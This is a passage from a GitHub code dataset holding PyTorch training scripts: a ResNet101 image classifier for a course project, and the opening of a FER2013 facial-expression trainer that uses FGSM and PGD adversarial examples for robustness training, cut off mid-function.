\"wb\")\npickle.dump(test_results, f)\nf.close()", "repo_name": "gevaertlab/RNA-GAN", "sub_path": "src/betaVAE_training.py", "file_name": "betaVAE_training.py", "file_ext": "py", "file_size_in_byte": 6866, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "70", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "json.load", "line_number": 38, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 73, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 109, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 112, "usage_type": "call"}, {"api_name": "model.load_state_dict", "line_number": 129, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 129, "usage_type": "call"}, {"api_name": "model.z_mu.apply", "line_number": 132, "usage_type": "call"}, {"api_name": "model.z_mu", "line_number": 132, "usage_type": "attribute"}, {"api_name": "model.decoder.apply", "line_number": 133, "usage_type": "call"}, {"api_name": "model.decoder", "line_number": 133, "usage_type": "attribute"}, {"api_name": "model.z_logvar.apply", "line_number": 134, "usage_type": "call"}, {"api_name": "model.z_logvar", "line_number": 134, "usage_type": "attribute"}, {"api_name": "model.load_state_dict", "line_number": 140, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 140, "usage_type": "call"}, {"api_name": "model.apply", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 152, "usage_type": "attribute"}, {"api_name": "model.cuda", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.optim.RAdam", "line_number": 158, "usage_type": "call"}, {"api_name": "model.parameters", "line_number": 158, "usage_type": "call"}, {"api_name": "torch.optim.SGD", "line_number": 160, "usage_type": "call"}, {"api_name": "model.parameters", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 162, "usage_type": "call"}, {"api_name": "model.parameters", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.optim.lr_scheduler.CosineAnnealingLR", "line_number": 165, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 165, "usage_type": "attribute"}, {"api_name": "warmup_scheduler.GradualWarmupScheduler", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 170, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 171, "usage_type": "call"}, {"api_name": "os.path", "line_number": 171, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 172, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 172, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 199, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 200, "usage_type": "call"}, {"api_name": "os.path", "line_number": 200, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 201, "usage_type": "call"}]}
{"seq_id": "74809967908", "text": "import sys\nimport os\nimport pickle\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport torch.nn.functional\n\nimport torch.optim as optim\nfrom torchvision import transforms\nfrom torch.utils.data import DataLoader\nfrom models.resnet import ResNet101\nfrom data_processing.dataset import ProjectDataSet, CifarValidationDataset, get_data_normalize\nfrom models.finetune_pretrained import *\nfrom utils.class_mapping import IDX_TO_SUPERCLASS_DICT, IDX_TO_SUBCLASS_MAPPING\n\nfrom utils.utils import progress_bar\nfrom utils.compute_mean_std import calculate_stats\n\nimport matplotlib.pyplot as plt\n\nMODEL_NAME = 'best_model.pt'\n\nsys.setrecursionlimit(10000)\n\npretrained_normalize = transforms.Normalize(\n    mean=[0.485, 0.456, 0.406],\n    std=[0.229, 0.224, 0.225]\n)\n\n\ndef map_idx_to_superclass(\n        predictions: pd.Series\n):\n    return predictions.apply(IDX_TO_SUPERCLASS_DICT.get)\n\n\ndef map_idx_to_subclass(\n        predictions: pd.Series\n):\n    return predictions.apply(IDX_TO_SUBCLASS_MAPPING.get)\n\n\ndef create_arg_parser():\n    parser = argparse.ArgumentParser(description='PyTorch NNDL image classification challenge')\n    parser.add_argument('--is_superclass', action='store_true',\n                        help='Super class or sub class predictions')\n    parser.add_argument('--num_classes', type=int, default=3, help='num_classes')\n    parser.add_argument('--batch_size', type=int, default=128, help='batch_size')\n    parser.add_argument('--lr', default=0.1, type=float, help='learning rate')\n    parser.add_argument('--epochs', default=100, type=int, help='Number of epochs')\n    parser.add_argument('--dropout_rate', default=0.5, type=float, help='Dropout rate')\n    parser.add_argument('--freeze_weight', action='store_true',\n                        help='Whether or not we freeze the weights of the pretrained model')\n    parser.add_argument('--deep_feature', action='store_true',\n                        help='Whether or not extract the deep feature')\n    parser.add_argument('--normalize', action='store_true',\n                        help='Whether or not normalize the features')\n    parser.add_argument('--early_stopping_patience', default=10, type=int,\n                        help='Early stopping patience')\n    parser.add_argument('--img_size', default=8, type=int, help='Image Size')\n    parser.add_argument('--training_data_path', required=True,\n                        help='input_folder containing the images')\n    parser.add_argument('--training_label_path', required=True, help='the path to training label')\n    parser.add_argument('--test_data_path', required=True,\n                        help='input_folder containing the images')\n    parser.add_argument('--val_data_path', required=True,\n                        help='input_folder containing the CIFAR images')\n    parser.add_argument('--val_data_label_path', required='--is_superclass' not in sys.argv,\n                        help='input_folder containing the CIFAR images')\n    parser.add_argument('--checkpoint_path', required=True, help='checkpoint_path for the model')\n    parser.add_argument('--external_validation', action='store_true',\n                        help='Using CIFAR data to test the model')\n    parser.add_argument('--test_label', action='store_true',\n                        help='Indicate whether the test label is available')\n    parser.add_argument('--up_sampler_path', required=False,\n                        help='Path to the up sampler')\n    parser.add_argument('--img_upsampled_size', required='--up_sampler_path' in sys.argv, type=int,\n                        help='img upsampled size by auto encoder')\n\n    return parser\n\n\ndef checkpoint(\n        net,\n        history,\n        checkpoint_path,\n        model_name\n):\n    \"\"\"Saves the current encoder and decoder models, along with idx_dict, which\n    contains the char_to_index and index_to_char mappings, and the start_token\n    and end_token values.\n    \"\"\"\n\n    create_dir_if_not_exists(checkpoint_path)\n\n    with open(os.path.join(checkpoint_path, model_name), 'wb') as f:\n        torch.save(net, f)\n\n    with open(os.path.join(checkpoint_path, 'history.pickle'), 'wb') as f:\n        pickle.dump(history, f)\n\n\ndef create_dir_if_not_exists(directory):\n    \"\"\"Creates a directory if it doesn't already exist.\n    \"\"\"\n    if not os.path.exists(directory):\n        os.makedirs(directory)\n\n\n# Training\ndef train(\n        net,\n        train_loader,\n        criterion,\n        optimizer,\n        device,\n        up_sampler: nn.Module = None\n):\n    if up_sampler:\n        up_sampler.eval()\n\n    net.train()\n\n    train_loss = 0\n    correct = 0\n    total = 0\n\n    # Get normalize transform\n    if up_sampler:\n        train_mean, train_std = calculate_stats(train_loader, up_sampler)\n        data_normalize_transform = transforms.Normalize(\n            mean=train_mean,\n            std=train_std\n        )\n    else:\n        data_normalize_transform = get_data_normalize()\n\n    for batch_idx, (inputs, targets) in enumerate(train_loader):\n        inputs, targets = inputs.to(device), targets.to(device)\n\n        if up_sampler:\n            inputs = up_sampler(inputs)\n\n        inputs = data_normalize_transform(inputs)\n\n        optimizer.zero_grad()\n        outputs = net(inputs)\n        loss = criterion(outputs, targets)\n        loss.backward()\n        optimizer.step()\n\n        train_loss += loss.item()\n        _, predicted = outputs.max(1)\n        total += targets.size(0)\n        correct += predicted.eq(targets).sum().item()\n\n        progress_bar(batch_idx, len(train_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n                     % (train_loss / (batch_idx + 1), 100. * correct / total, correct, total))\n\n    acc = 100. * correct / total\n    train_average_loss = train_loss / total\n    return train_average_loss, acc\n\n\ndef validate(\n        net,\n        val_loader,\n        criterion,\n        device,\n        up_sampler: nn.Module = None\n):\n    if up_sampler:\n        up_sampler.eval()\n\n    net.eval()\n    val_loss = 0\n    correct = 0\n    total = 0\n\n    if up_sampler:\n        val_mean, val_std = calculate_stats(val_loader, up_sampler)\n        data_normalize_transform = transforms.Normalize(\n            mean=val_mean,\n            std=val_std\n        )\n    else:\n        data_normalize_transform = get_data_normalize()\n\n    with torch.no_grad():\n        for batch_idx, (inputs, targets) in enumerate(val_loader):\n            inputs, targets = inputs.to(device), targets.to(device)\n            if up_sampler:\n                inputs = up_sampler(inputs)\n            inputs = data_normalize_transform(inputs)\n\n            outputs = net(inputs)\n            loss = criterion(outputs, targets)\n\n            val_loss += loss.item()\n            _, predicted = outputs.max(1)\n            total += targets.size(0)\n            correct += predicted.eq(targets).sum().item()\n\n            progress_bar(batch_idx, len(val_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n                         % (val_loss / (batch_idx + 1), 100. * correct / total, correct, total))\n\n    acc = 100. * correct / total\n    val_average_loss = val_loss / total\n    return val_average_loss, acc\n\n\ndef predict(\n        net,\n        test_set,\n        batch_size,\n        device,\n        is_label_available: bool = False,\n        up_sampler: nn.Module = None\n):\n    data_loader = DataLoader(\n        test_set, batch_size=batch_size, num_workers=4\n    )\n\n    # Get normalize transform\n    if up_sampler:\n        train_mean, train_std = calculate_stats(data_loader, up_sampler)\n        data_normalize_transform = transforms.Normalize(\n            mean=train_mean,\n            std=train_std\n        )\n    else:\n        data_normalize_transform = get_data_normalize()\n\n    net.eval()\n    predictions = []\n    labels = []\n    correct = 0\n    total = 0\n    with torch.no_grad():\n        for batch_idx, (inputs, targets) in enumerate(data_loader):\n\n            if up_sampler:\n                inputs = up_sampler(inputs.to(device))\n\n            inputs = data_normalize_transform(inputs)\n            outputs = net(inputs.to(device))\n            predicted = torch.argmax(outputs, dim=-1)\n            predictions.append(predicted.detach().cpu().numpy())\n            if is_label_available:\n                labels.append(targets.detach().cpu().numpy())\n                total += targets.size(0)\n                correct += predicted.detach().cpu().eq(targets).sum().item()\n                progress_bar(batch_idx, len(data_loader), 'Acc: %.3f%% (%d/%d)'\n                             % (100. * correct / total, correct, total))\n    predictions_pd = pd.DataFrame(np.hstack(predictions), columns=['predictions'])\n    predictions_pd['prediction_class'] = map_idx_to_superclass(predictions_pd.predictions)\n    predictions_pd['prediction_subclass'] = map_idx_to_subclass(predictions_pd.predictions)\n\n    if is_label_available:\n        predictions_pd['label'] = np.hstack(labels)\n\n    return predictions_pd\n\n\ndef train_model(\n        net,\n        train_set,\n        val_set,\n        args,\n        device,\n        up_sampler: nn.Module = None\n):\n    train_dataloader = DataLoader(\n        train_set, batch_size=args.batch_size, shuffle=True, num_workers=4\n    )\n\n    val_dataloader = DataLoader(\n        val_set, batch_size=args.batch_size, shuffle=True, num_workers=4\n    )\n\n    criterion = nn.CrossEntropyLoss()\n    optimizer = optim.Adam(\n        net.parameters(), lr=args.lr, weight_decay=1e-4, eps=0.1\n    )\n    # scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=args.epochs)\n    scheduler = torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=0.9)\n    history = training_loop(\n        net,\n        train_dataloader,\n        val_dataloader,\n        criterion,\n        optimizer,\n        scheduler,\n        args.epochs,\n        device,\n        args.early_stopping_patience,\n        args.checkpoint_path,\n        up_sampler\n    )\n\n    return history\n\n\ndef get_device():\n    return 'cuda' if torch.cuda.is_available() else 'cpu'\n\n\ndef main(args):\n    train_set, val_set, test_set = create_datasets(args)\n\n    # Initialize the model\n    device = get_device()\n\n    if args.up_sampler_path:\n        up_sampler = torch.load(\n            args.up_sampler_path,\n            map_location=device\n        )\n    else:\n        up_sampler = None\n\n    net = ResNet101(\n        num_classes=args.num_classes\n    )\n\n    net = net.to(device)\n\n    history = train_model(net, train_set, val_set, args, device, up_sampler)\n\n    net = torch.load(os.path.join(args.checkpoint_path, MODEL_NAME))\n    predictions_pd = predict(\n        net,\n        test_set,\n        args.batch_size,\n        device,\n        args.test_label,\n        up_sampler\n    )\n    predictions_pd.to_csv(\n        os.path.join(args.checkpoint_path, 'predictions.csv'),\n        index=False\n    )\n\n    plot_training_loss(history, args.checkpoint_path)\n\n\ndef plot_training_loss(history, checkpoint_path):\n    # Plot training curve\n    plt.figure()\n    plt.plot(history['train_loss'], \"ro-\", label=\"Train\")\n    plt.plot(history['val_loss'], \"go-\", label=\"Validation\")\n    plt.legend()\n    plt.title(\"Loss\")\n    plt.xlabel(\"Epochs\")\n    plt.savefig(checkpoint_path + \"/training_curve.png\")\n\n\ndef create_datasets(\n        args\n):\n    train_set = ProjectDataSet(\n        image_folder_path=args.training_data_path,\n        data_label_path=args.training_label_path,\n        is_training=True,\n        is_superclass=args.is_superclass,\n        img_size=args.img_size,\n        normalize=args.normalize\n    )\n\n    test_set = ProjectDataSet(\n        image_folder_path=args.test_data_path,\n        is_training=False,\n        is_superclass=args.is_superclass,\n        img_size=args.img_size,\n        normalize=args.normalize\n    )\n\n    # If the up sampler is enabled, we use the default 32 by 32 image for validation\n    # Use the CIFAR data as the external validation set\n    if args.is_superclass:\n        val_set = CifarValidationDataset(\n            cifar_data_folder=args.val_data_path,\n            download=True,\n            img_size=args.img_upsampled_size if args.up_sampler_path else args.img_size\n        )\n    else:\n        val_set = ProjectDataSet(\n            image_folder_path=args.val_data_path,\n            data_label_path=args.val_data_label_path,\n            is_training=False,\n            is_superclass=False,\n            img_size=args.img_size,\n            normalize=args.normalize\n        )\n\n    if not args.external_validation:\n        train_total = len(train_set)\n        train_size = int(train_total * 0.8)\n        val_size = train_total - train_size\n        train_set, val_set = torch.utils.data.random_split(\n            train_set, [train_size, val_size]\n        )\n\n    print(f'train_set size: {len(train_set)}')\n    print(f'val_set size: {len(val_set)}')\n    print(f'test_set size: {len(test_set)}')\n\n    return train_set, val_set, test_set\n\n\ndef update_metrics(\n        history,\n        train_loss,\n        val_loss,\n        train_acc,\n        val_acc\n):\n    if 'train_loss' not in history:\n        history['train_loss'] = []\n\n    if 'val_loss' not in history:\n        history['val_loss'] = []\n\n    if 'train_acc' not in history:\n        history['train_acc'] = []\n\n    if 'val_acc' not in history:\n        history['val_acc'] = []\n\n    history['train_loss'].append(train_loss)\n    history['val_loss'].append(val_loss)\n    history['train_acc'].append(train_acc)\n    history['val_acc'].append(val_acc)\n\n\ndef training_loop(\n        net,\n        train_dataloader,\n        val_dataloader,\n        criterion,\n        optimizer,\n        scheduler,\n        epochs,\n        device,\n        early_stopping_patience,\n        checkpoint_path,\n        up_sampler: nn.Module = None\n):\n    early_stopping_counter = 0\n    best_val_loss = 1e6\n\n    history = {}\n\n    for epoch in range(0, epochs):\n\n        train_loss, train_acc = train(\n            net,\n            train_dataloader,\n            criterion,\n            optimizer,\n            device,\n            up_sampler\n        )\n\n        val_loss, val_acc = validate(\n            net,\n            val_dataloader,\n            criterion,\n            device,\n            up_sampler\n        )\n        scheduler.step()\n\n        update_metrics(\n            history,\n            train_loss=train_loss,\n            val_loss=val_loss,\n            train_acc=train_acc,\n            val_acc=val_acc\n        )\n\n        if val_loss < best_val_loss:\n            checkpoint(net, history, checkpoint_path, MODEL_NAME)\n            best_val_loss = val_loss\n            early_stopping_counter = 0\n        else:\n            early_stopping_counter += 1\n\n        # Stop the training if the val does not improve\n        if early_stopping_counter > early_stopping_patience:\n            print(\"Validation loss has not improved in {} epochs, stopping early\".format(\n                early_stopping_patience))\n            print(\"Obtained lowest validation loss of: {}\".format(best_val_loss))\n            break\n\n    return history\n\n\nif __name__ == \"__main__\":\n    main(create_arg_parser().parse_args())\n", "repo_name": "ChaoPang/nndl_final_project", "sub_path": "basic_trainer.py", "file_name": "basic_trainer.py", "file_ext": "py", "file_size_in_byte": 14992, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.setrecursionlimit", "line_number": 24, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 26, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 26, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 33, "usage_type": "attribute"}, {"api_name": "utils.class_mapping.IDX_TO_SUPERCLASS_DICT.get", "line_number": 35, "usage_type": "attribute"}, {"api_name": "utils.class_mapping.IDX_TO_SUPERCLASS_DICT", "line_number": 35, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 39, "usage_type": "attribute"}, {"api_name": "utils.class_mapping.IDX_TO_SUBCLASS_MAPPING.get", "line_number": 41, "usage_type": "attribute"}, {"api_name": "utils.class_mapping.IDX_TO_SUBCLASS_MAPPING", "line_number": 41, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 45, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 69, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.save", "line_number": 98, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 98, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 108, "usage_type": "call"}, {"api_name": "utils.compute_mean_std.calculate_stats", "line_number": 131, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 132, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 132, "usage_type": "name"}, {"api_name": "data_processing.dataset.get_data_normalize", "line_number": 137, "usage_type": "call"}, {"api_name": "utils.utils.progress_bar", "line_number": 158, "usage_type": "call"}, {"api_name": "utils.compute_mean_std.calculate_stats", "line_number": 182, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 183, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 183, "usage_type": "name"}, {"api_name": "data_processing.dataset.get_data_normalize", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.nn.functional.no_grad", "line_number": 190, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 190, "usage_type": "name"}, {"api_name": "utils.utils.progress_bar", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 221, "usage_type": "call"}, {"api_name": "utils.compute_mean_std.calculate_stats", "line_number": 227, "usage_type": "call"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 228, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 228, "usage_type": "name"}, {"api_name": "data_processing.dataset.get_data_normalize", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.nn.functional.no_grad", "line_number": 240, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 240, "usage_type": "name"}, {"api_name": "torch.nn.functional.argmax", "line_number": 248, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 248, "usage_type": "name"}, {"api_name": "utils.utils.progress_bar", "line_number": 254, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 261, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 274, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 278, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 283, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 283, "usage_type": "name"}, {"api_name": "torch.nn.functional.optim.lr_scheduler.ExponentialLR", "line_number": 287, "usage_type": "call"}, {"api_name": "torch.nn.functional.optim", "line_number": 287, "usage_type": "attribute"}, {"api_name": "torch.nn.functional", "line_number": 287, "usage_type": "name"}, {"api_name": "torch.nn.functional.cuda.is_available", "line_number": 306, "usage_type": "call"}, {"api_name": "torch.nn.functional.cuda", "line_number": 306, "usage_type": "attribute"}, {"api_name": "torch.nn.functional", "line_number": 306, "usage_type": "name"}, {"api_name": "torch.nn.functional.load", "line_number": 316, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 316, "usage_type": "name"}, {"api_name": "models.resnet.ResNet101", "line_number": 323, "usage_type": "call"}, {"api_name": "torch.nn.functional.load", "line_number": 331, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 331, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 331, "usage_type": "call"}, {"api_name": "os.path", "line_number": 331, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 341, "usage_type": "call"}, {"api_name": "os.path", "line_number": 341, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 350, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 350, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 351, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 351, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 352, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 352, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 353, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 353, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 354, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 354, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 355, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 355, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 356, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 356, "usage_type": "name"}, {"api_name": "data_processing.dataset.ProjectDataSet", "line_number": 362, "usage_type": "call"}, {"api_name": "data_processing.dataset.ProjectDataSet", "line_number": 371, "usage_type": "call"}, {"api_name": "data_processing.dataset.CifarValidationDataset", "line_number": 382, "usage_type": "call"}, {"api_name": "data_processing.dataset.ProjectDataSet", "line_number": 388, "usage_type": "call"}, {"api_name": "torch.nn.functional.utils.data.random_split", "line_number": 401, "usage_type": "call"}, {"api_name": "torch.nn.functional.utils", "line_number": 401, "usage_type": "attribute"}, {"api_name": "torch.nn.functional", "line_number": 401, "usage_type": "name"}]}
{"seq_id": "43019522834", "text": "'''Train Fer2013 with PyTorch.'''\r\n# 10 crop for data enhancement\r\nfrom __future__ import print_function\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nimport torch.nn.functional as F\r\nimport torch.backends.cudnn as cudnn\r\nimport torchvision\r\nfrom torchvision import datasets, transforms\r\nimport transforms as transforms\r\nimport numpy as np\r\nimport os\r\nimport argparse\r\nimport utils\r\nfrom fer import FER2013\r\nfrom torch.autograd import Variable\r\nfrom models import *\r\nfrom tqdm import tqdm\r\nfrom adversarial import fgsm, pgd, AdversarialLoader\r\nfrom functools import partial\r\n\r\n\r\n# init\r\nTrain_acc = 0.0\r\nPublicTest_acc = 0.0\r\nPrivateTest_acc = 0.0\r\nbest_PublicTest_acc = 0.0  # best PublicTest accuracy\r\nbest_PublicTest_acc_epoch = 0\r\nbest_PrivateTest_acc = 0  # best PrivateTest accuracy\r\nbest_PrivateTest_acc_epoch = 0\r\nstart_epoch = 0  # start from epoch 0 or last checkpoint epoch\r\n\r\nATTACKS = {\r\n    'pgd': pgd,\r\n    'fgsm': fgsm\r\n}\r\n\r\n\r\nclass CombineLoaders():\r\n    def __init__(self, *loaders):\r\n        self.loaders = loaders\r\n\r\n    def __iter__(self):\r\n        print(self.loaders[0][0])\r\n#\titers = [iter(loader) for loader in self.loaders]\r\n        # while True:\r\n            # items = [next(it) for it in self.loaders]\r\n            # import pdb\r\n            # pdb.set_trace()\r\n            # items = [next(it) for it in self.loaders]\r\n            # print(items[0])\r\n            # images = torch.cat([i[0] for i in items])\r\n            # labels = torch.cat([i[1] for i in items])\r\n            # yield images, labels\r\n\r\n    def __len__(self):\r\n        return min([len(loader) for loader in self.loaders])\r\n\r\n\r\n# Training\r\ndef train(epoch, finalTrainLoader):\r\n    print('\\nEpoch: %d' % epoch)\r\n    global Train_acc, PublicTest_acc, PrivateTest_acc\r\n    net.train()\r\n    train_loss = 0.0\r\n    correct = 0.0\r\n    total = 0\r\n    batch_idx = 0\r\n\r\n    if epoch > learning_rate_decay_start and learning_rate_decay_start >= 0:\r\n        frac = (epoch - learning_rate_decay_start) // learning_rate_decay_every\r\n        decay_factor = learning_rate_decay_rate ** frac\r\n        current_lr = opt.lr * decay_factor\r\n        utils.set_lr(optimizer, current_lr)  # set the decayed rate\r\n    else:\r\n        current_lr = opt.lr\r\n    print('learning_rate: %s' % str(current_lr))\r\n    try:\r\n        with tqdm(finalTrainLoader) as t:\r\n            for inputs, targets in t:\r\n                batch_idx += 1\r\n                if use_cuda:\r\n                    inputs, targets = inputs.cuda(), targets.cuda()\r\n                if opt.adv_train_flag:\r\n                    if batch_idx % opt.adv_train_sample:\r\n                        inputs = attack_fn(net, inputs, targets)\r\n\r\n                optimizer.zero_grad()\r\n                # inputs, targets = Variable(inputs), Variable(targets)\r\n                with torch.no_grad():\r\n                    inputs = torch.tensor(inputs)\r\n                    targets = torch.tensor(targets)\r\n                    # print(inputs.shape)\r\n                outputs = net(inputs)\r\n                loss = criterion(outputs, targets)\r\n                loss.backward()\r\n                utils.clip_gradient(optimizer, 0.1)\r\n                optimizer.step()\r\n                train_loss += loss.item()\r\n                _, predicted = torch.max(outputs.data, 1)\r\n                total += targets.size(0)\r\n                correct += predicted.eq(targets.data).cpu().sum()\r\n\r\n                # utils.progress_bar(batch_idx, len(trainloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n                # % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n                tqdm.write(\"Loss: %.3f | Acc: %.3f %%(%d/%d)\" % (train_loss/batch_idx, 100.0*float(correct)/total, correct, total))\r\n                # print(100.0*float(correct.numpy())/total, correct.numpy(), total)\r\n    except KeyboardInterrupt:\r\n        t.close()\r\n        raise\r\n    t.close()\r\n    Train_acc = 100.*correct/total\r\n    state = {\r\n        'net': net.state_dict() if use_cuda else net,\r\n        'acc': PublicTest_acc,\r\n        'epoch': epoch,\r\n    }\r\n    torch.save(state, os.path.join(path, 'PublicTest_model.t7'))\r\n    state = {\r\n        'net': net.state_dict() if use_cuda else net,\r\n        'best_PublicTest_acc': best_PublicTest_acc,\r\n        'best_PrivateTest_acc': PrivateTest_acc,\r\n        'best_PublicTest_acc_epoch': best_PublicTest_acc_epoch,\r\n        'best_PrivateTest_acc_epoch': epoch,\r\n    }\r\n    torch.save(state, os.path.join(path, 'PrivateTest_model.t7'))\r\n\r\n\r\ndef PublicTest(epoch, finalPublicTestloader):\r\n    global PublicTest_acc\r\n    global best_PublicTest_acc\r\n    global best_PublicTest_acc_epoch\r\n    net.eval()\r\n    PublicTest_loss = 0.0\r\n    correct = 0.0\r\n    total = 0\r\n    for batch_idx, (inputs, targets) in enumerate(finalPublicTestloader):\r\n        bs, ncrops, c, h, w = np.shape(inputs)\r\n        inputs = inputs.view(-1, c, h, w)\r\n        if use_cuda:\r\n            inputs, targets = inputs.cuda(), targets.cuda()\r\n\r\n        # inputs, targets = Variable(inputs, volatile=True), Variable(targets)\r\n        with torch.no_grad():\r\n            inputs = torch.tensor(inputs)\r\n            targets = torch.tensor(targets)\r\n            print(inputs.shape, targets.shape)\r\n\r\n        if use_cuda:\r\n            inputs, targets = inputs.cuda(), targets.cuda()\r\n        if opt.adv_test_flag:\r\n            if batch_idx % opt.adv_test_sample:\r\n                inputs = attack_fn(net, inputs, targets, bs, ncrops)\r\n\r\n        outputs = net(inputs)\r\n        outputs_avg = outputs.view(bs, ncrops, -1).mean(1)  # avg over crops\r\n        loss = criterion(outputs_avg, targets)\r\n        # PublicTest_loss += loss.data[0]\r\n        PublicTest_loss += loss.item()\r\n        _, predicted = torch.max(outputs_avg.data, 1)\r\n        total += targets.size(0)\r\n        correct += predicted.eq(targets.data).cpu().sum()\r\n\r\n        utils.progress_bar(batch_idx, len(PublicTestloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n                           % (PublicTest_loss / (batch_idx + 1), 100.0 * float(correct) / total, correct, total))\r\n\r\n    # Save checkpoint.\r\n    PublicTest_acc = 100.0*float(correct)/total\r\n    if PublicTest_acc > best_PublicTest_acc:\r\n        print('Saving..')\r\n        print(\"best_PublicTest_acc: %0.3f\" % PublicTest_acc)\r\n        state = {\r\n            'net': net.state_dict() if use_cuda else net,\r\n            'acc': PublicTest_acc,\r\n            'epoch': epoch,\r\n        }\r\n        if not os.path.isdir(path):\r\n            os.mkdir(path)\r\n        torch.save(state, os.path.join(path, 'PublicTest_model.t7'))\r\n        best_PublicTest_acc = PublicTest_acc\r\n        best_PublicTest_acc_epoch = epoch\r\n\r\n\r\ndef PrivateTest(epoch, finalPrivateTestloader):\r\n    global PrivateTest_acc\r\n    global best_PrivateTest_acc\r\n    global best_PrivateTest_acc_epoch\r\n    net.eval()\r\n    PrivateTest_loss = 0\r\n    